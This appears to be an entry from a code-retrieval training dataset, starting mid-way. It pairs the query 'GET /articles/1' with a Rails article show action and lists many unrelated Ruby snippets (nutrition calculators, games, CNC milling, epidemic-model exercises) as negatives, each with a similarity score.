to the user specified maximal allowed value\n h = @dx if h > @dx \n\n if @x[i] >= @xmax then\n break\n elsif @x[i] + h > @xmax then\n h = @xmax - @x[i]\n end\n end\n\n @mx = @x.length # Number of x steps\n\n raise(RuntimeError, \"Maximal number of iterations reached \n before evaluation of the solution on the entire x interval \n was completed (try to increase maxiter or use a different method\") if @x.last < @xmax\n end", "def objet(pp,fp)\n if o.lentille ## Cas des lentilles\n return -10000 if pp == fp\n return pp*fp/(fp-pp) \n else ## Cas des miroirs\n return -10000 if pp == -fp\n return pp*(-fp)/(pp+fp)\n end\n end", "def two_pt_a\n fga - three_p_a\n end", "def prox m\n\t\tif m.to_s == \"papel\"\n\t\t\t@p += 1\n\t\telsif m.to_s == \"piedra\"\n\t\t\t@r += 1\n\t\telsif m.to_s == \"tijeras\"\n\t\t\t@t += 1\n\t\telsif m.to_s == \"spock\"\n\t\t\t@s += 1\n\t\telsif m.to_s == \"lagarto\"\n\t\t\t@l += 1\n\t\telsif m.to_s == \"\"\n\t\t\t# no hacer nada\n\t\telse\n\t\t\traise \"Error.\"\n\t\tend\n\n\t\tmax = @p + @r + @t + @l + @s -1\n\t\tif max <= 0\n\t\t\tmax = 0\n\t\t\tn = 0\n\t\telse\n\n\t\t\t\n\t\t\tn = @random.rand(max)\n\t\tend\n\n\t\tputs \"EL NUM ES #{n}\"\n\n\t\tif (n >= 0 and n < @r) or (n == 0)\n\t\t\tmano = Piedra.new(\"piedra\")\n\t\telsif n >= @r and n < @r+@p \n\t\t\tmano = Papel.new(\"papel\")\n\t\telsif n >= @r+@p and n < @r+@p+@t\n\t\t\tmano = Tijeras.new(\"tijeras\")\n\t\telsif n >= @r+@p+@t and n < @r+@p+@t+@l\n\t\t\tmano = Lagarto.new(\"lagarto\")\n\t\telsif n >= @r+@p+@t+@l and n < @r+@p+@t+@l+@s\n\t\t\tmano = Spock.new(\"spock\")\n\t\tend\n\n\t\tmano\t\t\t\n\t\t\t\n\tend", "def nasa_space_craft; end", "def get_almidon\n @_100=((@almidon*100)/@peso)\n #@ir_100=(@_100/90)*100\n @porcion=((@almidon*@gramos_porciones)/@peso)\n #@ir_porcion=(@porcion/90)*100\n [ @almidon , @_100 , 0 , @porcion , 0 ]\n end", "def huella\n huella = @alimentos.inject([0,0,0]) do |acc, i|\n if i.kcal_total < 670\n acc[0] += (1.0 * (@gramos[acc[1]].valor / (i.proteinas + i.lipidos + i.carbohidratos)))\n elsif i.kcal_total > 830\n acc[0] += (3.0 * (@gramos[acc[1]].valor / (i.proteinas + i.lipidos + i.carbohidratos)))\n else acc[0] += (2.0 * (@gramos[acc[1]].valor / (i.proteinas + i.lipidos + i.carbohidratos)))\n end\n if (i.gases * 1000.0) < 800\n acc[0] += (1.0 * (@gramos[acc[1]].valor / (i.proteinas + i.lipidos + i.carbohidratos)))\n elsif (i.gases * 1000.0) > 1200\n acc[0] += (3.0 * (@gramos[acc[1]].valor / (i.proteinas + i.lipidos + i.carbohidratos)))\n else\n acc[0] += (2.0 * (@gramos[acc[1]].valor / (i.proteinas + i.lipidos + i.carbohidratos)))\n\t\t\tend\n\n\t\t\tacc[2] += (@gramos[acc[1]].valor / (i.proteinas + i.lipidos + i.carbohidratos))\n acc[1] += 1\n acc\n\t\tend\n\n\t\treturn (huella[0] / (2.0 * huella[2])).round(2)\n\tend", "def ener_kj \n\t\t@ener_kj = @saturadas * 37 + @monoinsaturadas * 37 + @polinsaturadas * 37 + @azucares * 17 + @polialcoles * 10 + @almidon * 17 + @fibra * 8 + @proteinas * 17 + @sal * 25\n\t\treturn @ener_kj\n\tend", "def alg; end", "def kcalproteinas\n\t\t\t@proteinas * 4\n\t\tend", "def phat\n @phat ||= 1.0 * positive/total\n end", "def imc(peso,talla)\n\t\t@imc = (peso/(talla*talla))\n\tend", "def setup\n @parallax = Chingu::Parallax.create(:x => 0, :y => 0, :z => -1, :rotation_center => :top_left)\n @parallax << { :image => \"fondo.bmp\", :repeat_x => true, :repeat_y => true}\n # @image = Image[\"fondo.png\"]\n # @x = 0\n # @y = 0\n # @z = 0\n @comida_inicio = Time.now\n if $configuracion != nil\n peces = $configuracion[0][1].to_i\n tiburones = $configuracion[1][1].to_i\n reproducir_veces = $configuracion[2][1].to_i\n pez_vida_tiempo = $configuracion[3][1].to_i\n tiburon_vida_tiempo = $configuracion[4][1].to_i\n @comida_tasa = $configuracion[5][1].to_i\n pez_reproducir_tiempo = $configuracion[6][1].to_i\n else\n # print \"No hay configuracion establecida aun...\\n\"\n peces = 5\n tiburones = 1\n reproducir_veces = 5\n pez_vida_tiempo = 5\n tiburon_vida_tiempo = 5\n @comida_tasa = 1\n pez_reproducir_tiempo = 2\n end # if\n (peces/2).times { Pez.create.definir_parametros(1, pez_vida_tiempo, reproducir_veces, pez_reproducir_tiempo) }\n (peces/2).times { Pez.create.definir_parametros(2, pez_vida_tiempo, reproducir_veces, pez_reproducir_tiempo) }\n tiburones.times { Tiburon.create.definir_parametros(tiburon_vida_tiempo) }\n\n # Cuando es un numero impar de peces, se genera un pez con genero al azar\n Pez.create.definir_parametros(rand(2)+1, pez_vida_tiempo, reproducir_veces, pez_reproducir_tiempo) if peces % 2 != 0\n\n @tiempo_burbuja = Time.now\n\n end", "def huellaNut \n\t\t(@indEnergia.call + @indGei.call)/2.0\n\tend", "def zetta\n big_self * ZETTA\n end", "def gastriloquism_quinnipiac_apodictical()\n end", "def prox\n\t\trandom_weighted @jugadas\n\t\t\n\tend", "def calcular_imc\n (@peso)/(@altura*@altura)\n end", "def tricipital \n\t\t(@tricipital[0] + @tricipital[1] + @tricipital[2])/3\n\tend", "def medical_use; end", "def measure; end", "def bellini; end", "def mill_impeller_axel(pCent_x, pCent_y, mirrored=false, pBegZ=0, pEndZ=nil)\r\n # # # # # # # # # # # # # #\r\n if pEndZ == nil\r\n pEndZ = drill_through_depth\r\n end\r\n pEndZ = 0 - pEndZ.abs\r\n \r\n print \"(mill_impeller_axel pCent_x=\", pCent_x, \" pCent_y=\", pCent_y, \" pBegZ=\", pBegZ, \" pEndZ=\", pEndZ, \")\\n\"\r\n print \"(shaft_diam=\", shaft_diam, \")\\n\"\r\n \r\n # ensure that we do not exceed the bit flute length\r\n # for the 1/16 inch bit.\r\n if (mill.curr_bit.max_mill_depth.abs < pEndZ.abs)\r\n pEndZ = 0 - mill.curr_bit.max_mill_depth.abs\r\n end\r\n \r\n \r\n if (mill.curr_bit.flute_smaller_than_shaft == true) and (mill.curr_bit.flute_len.abs < pEndZ.abs)\r\n # If I have a bit with a flute that is smaller\r\n # than the shaft I can not mill any deeper than\r\n # the flute so automatically adjust the max\r\n # depth to match the flute\r\n print \"(bit flute is not long enough for axel hole and shaft is larger than flute so setting hole size to flute_len)\\n\"\r\n pEndZ = 0 - mill.curr_bit.flute_len.abs\r\n end\r\n \r\n \r\n if (shaft_type == \"D\")\r\n # Have to reset cutout_diam to reflect\r\n # the smaller bit. \r\n mill.retract()\r\n print \"(L445 - shaft_diam = \", shaft_diam, \")\\n\"\r\n mill_DDShaft(mill, x = pCent_x,y=pCent_y, diam=shaft_diam, beg_z=pBegZ, end_z= pEndZ, adjust_for_bit_radius=true, mirrored=mirrored)\r\n else # round axel \r\n if mirrored == true\r\n tcy = vmirror(pCent_y)\r\n else\r\n tcy = pCent_y\r\n end\r\n\r\n mill.retract() \r\n aCircle = CNCShapeCircle.new(mill) \r\n print \"(ZZZZZZZZZZZZ mill_impeller_axel pBegZ=\", pBegZ, \" pEndZ=\", pEndZ,\")\\n\"\r\n aCircle.beg_depth = pBegZ \r\n aCircle.mill_pocket(\r\n pCent_x, \r\n tcy, \r\n shaft_diam, \r\n pEndZ , \r\n island_diam=0)\r\n \r\n \r\n end # axel choice\r\n mill.retract()\r\n end", "def aff()\n\t\t\t\tfor q in 1..20\n\t\t\t\t\tputs\n\t\t\t\tend\n\t\t\tprint @plateau[0][0],\" | \", @plateau[0][1],\" | \",@plateau[0][2]\n\t\t\tputs\n\t\t\tputs \"---------\"\n\t\t\tprint @plateau[1][0],\" | \", @plateau[1][1],\" | \",@plateau[1][2]\n\t\t\tputs\n\t\t\tputs \"---------\"\n\t\t\tprint @plateau[2][0],\" | \", @plateau[2][1],\" | \",@plateau[2][2]\n\t\t\tputs\n\tend", "def matz; end", "def virus_effects #looks DRY but not using the full scope of the variables \r\n predicted_deaths\r\n speed_of_spread\r\n end", "def indice_masa_corporal\n\t\t(peso / (talla * talla) * 10000).round(1)\n\tend", "def romeo_and_juliet; end", "def factorize_modp\n me = self\n g = sqfree\n fs = Factors.new\n g.factors_of_sqfree.each do |f|\n\ti, r = 0, 0\n\twhile me.deg > 0\n\t q, r = me.divmod f\n\t if r.zero?\n\t me = q\n\t i += 1\n\t else\n\t break\n\t end\n\tend\n\tfs.push [f, i]\n end\n\n # for 'over Zp'\n if ch = ground.char\n\tif me.deg > 0\n\t me.verschiebung.factorize_modp.each do |f_i|\n\t f0, i0 = f_i\n\t fs.push [f0, i0*ch]\n\t end\n\tend\n end\n fs\n end", "def kcallipidos\n\t\t\t@lipidos * 9\n\t\tend", "def horizontal_bewegen(anzahl)\n bewegen_um_punkt(Punkt.new(anzahl,0)) \n end", "def prec_f() end", "def probers; end", "def residency_diploma\n\tend", "def eplore\n end", "def mozart; end", "def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n#we can remove this and have it print within virus_effects so that this method does one thing\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def poem; end", "def schubert; end", "def sTemperatur()\n @len = @seq.length\n # Falls die Lรคnge ungleich 0 ist\n # rechnen wir was nรถtig ist\n if @len\n # Falls die Lรคnge der Zeichenkette kleiner oder gleich 14 ist \n # rechnen wir das ein bisschen anders\n if(@len <= 14)\n\treturn 4.0 * (occ(@seq, 'G') + occ(@seq, 'C')) + 2 * (occ(@seq, 'A') + occ(@seq, 'T'))\n # Falls die Lรคnget des DNAs relativ gross ist \n # dann rechnen wir das auch anders\n else \n\treturn 64.9 + 41.0 * (occ(@seq, 'G') + occ(@seq, 'C') - 16.4) / @len\n end\n end \n return NIL\n end", "def isp; end", "def isp; end", "def nacti_data(data, pomer)\n poc_nactenych_klauzuli = 0 \n pole_radku = data.split(\"\\n\")\n \n pole_radku.each do |radek|\n if(radek[0]!=\"c\")then #preskakuji komentar\n pole_hodnot = radek.split(' ') # ulozim si hodnoty do pole\n \n case radek[0]\n \n when \"p\"\n #nacteni zakladniho nastaveni instance\n @pocet_promennych = pole_hodnot[2].to_i\n @pocet_klauzuli = pole_hodnot[3].to_i\n # pokud je nastaven pomer (tj. obtiznost instance)\n if((pomer!=-1)&&(@pocet_klauzuli>=@pocet_promennych.to_f*pomer))then\n @pocet_klauzuli = @pocet_promennych.to_f*pomer\n end\n \n when \"w\"\n #nacitani vahoveho vektoru\n citac = 1\n while(citac < pole_hodnot.length)do\n @pole_vah[citac-1] = pole_hodnot[citac].to_i\n citac +=1\n end\n\n # when \"%\" # pouze pro kontrolu\n #ukoncovaci znak\n # puts \"%\" \n \n else\n #nacitani klauzuli\n if(poc_nactenych_klauzuli<@pocet_klauzuli)then\n citac = 0\n while(citac < pole_hodnot.length-1)do\n if(@klauzule[poc_nactenych_klauzuli]==nil)then\n nove_pole = []\n @klauzule[poc_nactenych_klauzuli]= nove_pole\n end\n @klauzule[poc_nactenych_klauzuli][@klauzule[poc_nactenych_klauzuli].length] = pole_hodnot[citac].to_i\n citac +=1\n end\n poc_nactenych_klauzuli+=1\n end \n end\n end\n end \n end", "def england\n end", "def mascot; end", "def mi_carrera\n\n\tend", "def lip\n grtotal = 0\n sum = 0\n\t\t#itera en las dos listas a la vez para poder calcular las \n #lipidos dependiendo de la cantidad y tambien suma\n #todas las cantidades para poder calcular el porcentaje\n #despues\n @lista.zip(@listagr).each do |normal, gr|\n grtotal += gr\n cant = gr/1000.0\n sum += normal.lip*cant\n end\n (sum*100)/grtotal\n end", "def num_tankoubon; end", "def virus_effects\n predicted_deaths\n speed_of_spread\n end", "def virus_effects\n predicted_deaths\n speed_of_spread\n end", "def virus_effects\n predicted_deaths\n speed_of_spread\n end", "def virus_effects\n predicted_deaths\n speed_of_spread\n end", "def virus_effects\n predicted_deaths\n speed_of_spread\n end", "def transforms; end", "def por_lip\n\t\t\t(@lipidos/suma_gramos)*100\n\t\tend", "def magnification\n 1300\n end", "def calcula_imc\n \n if @peso/@altura*@altura < 18\n puts \"vc esta magro\"\n elsif @peso/@altura*@altura <= 25\n puts \"vc esta no peso ideal\"\n elsif @peso/@altura*@altura > 25\n puts \"vc esta acima do peso\"\n end\n \n end", "def pbSize(pokemon)\n dexdata = pbOpenDexData\n pbDexDataOffset(dexdata,pokemon.fSpecies,33)\n baseheight = dexdata.fgetw # Gets the base height in tenths of a meter\n dexdata.close\n hpiv = pokemon.iv[0]&15\n ativ = pokemon.iv[1]&15\n dfiv = pokemon.iv[2]&15\n spiv = pokemon.iv[3]&15\n saiv = pokemon.iv[4]&15\n sdiv = pokemon.iv[5]&15\n m = pokemon.personalID&0xFF\n n = (pokemon.personalID>>8)&0xFF\n s = (((ativ^dfiv)*hpiv)^m)*256+(((saiv^sdiv)*spiv)^n)\n xyz = []\n if s<10\n xyz = [290,1,0]\n elsif s<110\n xyz = [300,1,10]\n elsif s<310\n xyz = [400,2,110]\n elsif s<710\n xyz = [500,4,310]\n elsif s<2710\n xyz = [600,20,710]\n elsif s<7710\n xyz = [700,50,2710]\n elsif s<17710\n xyz = [800,100,7710]\n elsif s<32710\n xyz = [900,150,17710]\n elsif s<47710\n xyz = [1000,150,32710]\n elsif s<57710\n xyz = [1100,100,47710]\n elsif s<62710\n xyz = [1200,50,57710]\n elsif s<64710\n xyz = [1300,20,62710]\n elsif s<65210\n xyz = [1400,5,64710]\n elsif s<65410\n xyz = [1500,2,65210]\n else\n xyz = [1700,1,65510]\n end\n return (((s-xyz[2])/xyz[1]+xyz[0]).floor*baseheight/10).floor\nend", "def get_energia\n\t\t\t\t@lipidos * 9 + @proteins * 4 + @carbs * 4\n\t\t\tend", "def on_earth\n @n / 31_557_600\n end", "def cmbnation(m)\n factrl(m) / ( factrl(m - 5) * factrl(5) )\nend", "def valorenergeticoKcal\n veKJ=(cgrasas * 9) + (cgrasassa * 9) + (grasasmono * 9) + (grasaspoli * 9) + (hcarbono * 4) + (polialcoholes * 2.4) + (almidon * 4) + (fibra * 2) + (proteinas * 4) + (sal * 6)\n veKJ.round(2)\n end", "def MyTables(tables,b,h,result) \n if tables == 1\n result=(b*h) #Cross sectional area\n elsif tables == 2\n result =((b*h**3)/12) #moment of inertia\n else\n result =((b*h**2)/6) #section modulus\n end #end of calculating result\nend" ]
[ "0.6288731", "0.62502736", "0.58415574", "0.57874984", "0.575387", "0.57349586", "0.57138306", "0.56833225", "0.56829965", "0.56572175", "0.5634504", "0.5565182", "0.55556655", "0.55450606", "0.55200726", "0.5499125", "0.5497195", "0.5491538", "0.547041", "0.54681545", "0.5441923", "0.5437691", "0.5434827", "0.54329115", "0.5420311", "0.54145294", "0.5411238", "0.5402984", "0.53971803", "0.5394489", "0.5362314", "0.53583646", "0.53544945", "0.535304", "0.5347503", "0.5333029", "0.53296036", "0.53150696", "0.5298118", "0.52943003", "0.5281097", "0.5278193", "0.5274297", "0.52726215", "0.5265796", "0.525457", "0.5253278", "0.52522814", "0.5247748", "0.5231263", "0.5228506", "0.52250004", "0.5223775", "0.5220868", "0.52140266", "0.5210467", "0.52063143", "0.520514", "0.52044654", "0.51959985", "0.5193017", "0.51928174", "0.51893425", "0.5181226", "0.5180052", "0.51782537", "0.517759", "0.5175353", "0.51749754", "0.517036", "0.516424", "0.51609486", "0.51572675", "0.5157048", "0.51478314", "0.51451117", "0.5144839", "0.51414233", "0.5125721", "0.5125721", "0.51184076", "0.51152456", "0.5113888", "0.51123166", "0.51114565", "0.51081026", "0.51077056", "0.51077056", "0.51077056", "0.51077056", "0.51077056", "0.5099276", "0.5097038", "0.5094395", "0.50931036", "0.50857645", "0.5085619", "0.50825965", "0.5082133", "0.50780785", "0.50774246" ]
0.0
-1
GET /articles GET /articles.json
def index @articles = Article.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def articles\n @articles = Article.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @administration }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.json { render json: @articles }\n end\n end", "def show\n @article = Article.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = current_user.articles\n json_response(@articles)\n end", "def get_articles\n @articles = ActiveSupport::JSON.decode(access_token.get('/articles.json'))\n end", "def GetArticles params = {}\n\n params = params.merge(path: 'help_center/articles.json')\n APICall(params)\n\n end", "def index\n @articles = Article.all\n raise if @articles.blank?\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def index\n @articles = Article.all.sort_by(&:url)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def article(id, params = {})\n get \"articles/#{id}\", {query: params}\n end", "def index\n # GET /articles\n @articles = Article.all\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @article }\n end\n end", "def index\n @articles = Article.order('id DESC')\n respond_to do |format|\n format.html\n format.json { render json: @articles }\n end\n end", "def call\n articles = JSON.parse(Base64.urlsafe_decode64(@params['articles']))\n Success(articles)\n rescue StandardError\n Failure(Value::Result.new(status: :bad_request, message: 'Article list not found'))\n end", "def index\n @articles = article_all\n respond_with(@articles)\n end", "def index # uses paginate\n @articles = Article.paginate page: params[:page], per_page: 10\n #@articles = Article.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def show\n respond_to do |format|\n format.html { render }\n format.json { render_json_responsibly(@article) }\n end\n end", "def show\n @article = Article.published.find_by_id_or_permalink(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def index\n @response = HTTParty.get(\"http://newsapi.org/v2/top-headlines?category=sports&q=golf&apiKey=12e692d8e7254efa8cf6276ea99736b0\")\n @report = JSON.parse(@response.body)\n @article = @report[\"articles\"]\n end", "def read_articles\n JSON.parse(File.read(\"articles.json\"))\nend", "def article(id, *args)\n options = args.last.is_a?(Hash) ? args.pop : {}\n response = get(\"articles/#{id}\",options)\n response.article\n end", "def show\n @article_datum = ArticleDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article_datum }\n end\n end", "def show\n @article = Article.where(id: params[:id]).last\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def index\n @menu = \"articles\"\n @num_articles = num_articles\n @page_number = 1\n begin\n @page_number = params[:page].to_i unless params[:page].blank?\n last_page = (@num_articles / Ufo::MAX_PAGE_ITEMS) + 1\n if @page_number <= 0\n @page_number = 1\n elsif @page_number > last_page\n @page_number = last_page\n end\n rescue\n logger.error \"Page number not valid!\"\n end\n @articles = Rails.cache.fetch(\"articles/index/#{@page_number}\", :expires_in => 1.week) do\n Article.where(:status => 1).without(:article_helper_method, :article_type, :date_filter, :email, :partial_1).desc(:published_date).skip((@page_number-1) * Ufo::MAX_PAGE_ITEMS).limit(Ufo::MAX_PAGE_ITEMS).entries\n end\n @page_title = \"Articles\"\n @page_description = \"Latest Articles\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def articles(page = 'hot', options = {})\n get_resources(\"#{@url}#{page}\", options) do |resource_json|\n Article.new(resource_json['data'])\n end\n end", "def index\n @articles = Article.order('published_at DESC').page(params[:page]).per(5)\n\n respond_to do |format|\n format.html { render :layout => false if request.xhr? }\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.page(params[:page]).order(:pub_date,:source,:headline)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def show\n @article = article_get!(params[:id])\n respond_with(@article)\n end", "def show\n @pages_article = PagesArticle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pages_article }\n end\n end", "def show\n @articles = Article.all\n end", "def show\n @admin_article = Admin::Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_article }\n end\n end", "def index\n @articles = Article.order(\"created_at DESC\").paginate(:page=>params[:page],:per_page=>40)\n\n respond_to do |format|\n format.html # index.html.erb\n# format.json { render json: @articles }\n end\n end", "def show\n @clothing_article = ClothingArticle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clothing_article }\n end\n end", "def list\n if params[:search]\n articles = Article.where(status: \"accepted\")\n .where('lower(title) LIKE ?', \"%#{params[:search].downcase}%\")\n .paginate(page: params[:page], per_page: params[:limit] || 10)\n else\n articles = Article.where(status: \"accepted\")\n .paginate(page: params[:page], per_page: params[:limit] || 10)\n end\n render json: articles, \n only: [ :id, :title, :created_at, :tags ], \n methods: [ :pictures, :created_by ], \n status: :ok\n end", "def index\n @tourism_articles = @tourism_articles.published.recent.page(params[:page]).per(10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tourism_articles }\n end\n end", "def show\n @article = Article.find(params[:id])\n if @article==nil\n redirect_to articles_url\n else\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end\n end", "def index\n @articles = Article.all()\n end", "def index\n authorize! :admin, :dashboard\n @articles = Article.internal.paginate(\n :per_page => 20,\n :page => params[:page],\n :order => 'created_at DESC'\n )\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @articles }\n end\n end", "def index\n @articles = Article.all\n end", "def show\n begin\n article = Article.joins(:article_text).select(\"text, title\").find(params[:id])\n if article.text.nil?\n render :json => {title: article.title, text: MESSAGE}.to_json\n else\n render :json => article\n end\n rescue\n render :json => {title: \"\", text: MESSAGE}.to_json\n end\n end", "def show\n @user_article = UserArticle.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @user_article }\n end\n end", "def show\n @feed = Feed.find(params[:feed_id])\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.includes(:comments).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.includes(:comments).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.includes(:comments).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def GetArticle id\n\n APICall(path: \"help_center/articles/#{id}.json\")\n\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.all\n end", "def index\n @articles = Article.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @articles }\n end\n end", "def index\n #remove_cache #if params[:page]\n #@articles = #Article.where(:is_published => true)\n @articles = Article.published.paginated(params[:page], 10)\n respond_to do |format|\n\n format.html # index.html.erb\n format.json { render json: @articles }\n end\n end", "def index\n @articles = Article.all\n respond_with @articles, status: get_status\n end", "def index\n if params.include?(:name)\n @owner = Owner.find_by_name(params[:name])\n @articles = @owner.articles\n else\n @owner = nil\n @articles = Article.includes(:owner).all\n end\n\n respond_to do |format|\n format.html { render :index }\n format.json { render_json_responsibly(articles: @articles) }\n end\n end", "def all_articles\n json = self.class.get(\"#{QUERY1 + PARAMETERS_API}\")\n puts \"QUERY IS: #{QUERY1 + PARAMETERS_API}\"\n response = json['response']\n articles = response['results']\n\n articles.each do |article|\n parse_article(article, nil)\n end\n end" ]
[ "0.7823242", "0.7757662", "0.77491444", "0.7650022", "0.7650022", "0.7650022", "0.7650022", "0.7650022", "0.7650022", "0.7612499", "0.75499934", "0.744125", "0.73619306", "0.7355765", "0.7355765", "0.7355765", "0.7355765", "0.7355765", "0.7355765", "0.7355765", "0.7355765", "0.7355765", "0.7355765", "0.7355765", "0.7355765", "0.7355765", "0.7355765", "0.73300153", "0.73248166", "0.731896", "0.7303591", "0.72909534", "0.72858363", "0.7231521", "0.7222467", "0.7098828", "0.70850784", "0.706784", "0.70611477", "0.7043847", "0.7021233", "0.7015075", "0.6996384", "0.6981237", "0.6962511", "0.6961601", "0.69489926", "0.69457155", "0.69450706", "0.687617", "0.68583465", "0.68425024", "0.6815636", "0.68042445", "0.67870444", "0.67387855", "0.67351097", "0.6730302", "0.6725925", "0.67240345", "0.6707688", "0.67012805", "0.6698747", "0.66880673", "0.66880673", "0.66880673", "0.668287", "0.6680336", "0.6680336", "0.6680336", "0.6680336", "0.66764", "0.66719913", "0.66466206", "0.66381854", "0.6630698" ]
0.677967
78
GET /articles/1 GET /articles/1.json
def show respond_to do |format| format.html { render locals: { article: @article } } format.epub { send_ebook({ article: @article }, :epub, "#{@article.slug}.epub") } format.mobi { send_ebook({ article: @article }, :mobi, "#{@article.slug}.mobi") } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def show\n @article = Article.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @articles }\n end\n end", "def show\n @article = Article.where(id: params[:id]).last\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def index\n @articles = Article.all\n\n respond_to do |format|\n format.json { render json: @articles }\n end\n end", "def articles\n @articles = Article.all\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @administration }\n end\n end", "def show\n @article = Article.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = Article.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @article }\n end\n end", "def show\n @article = 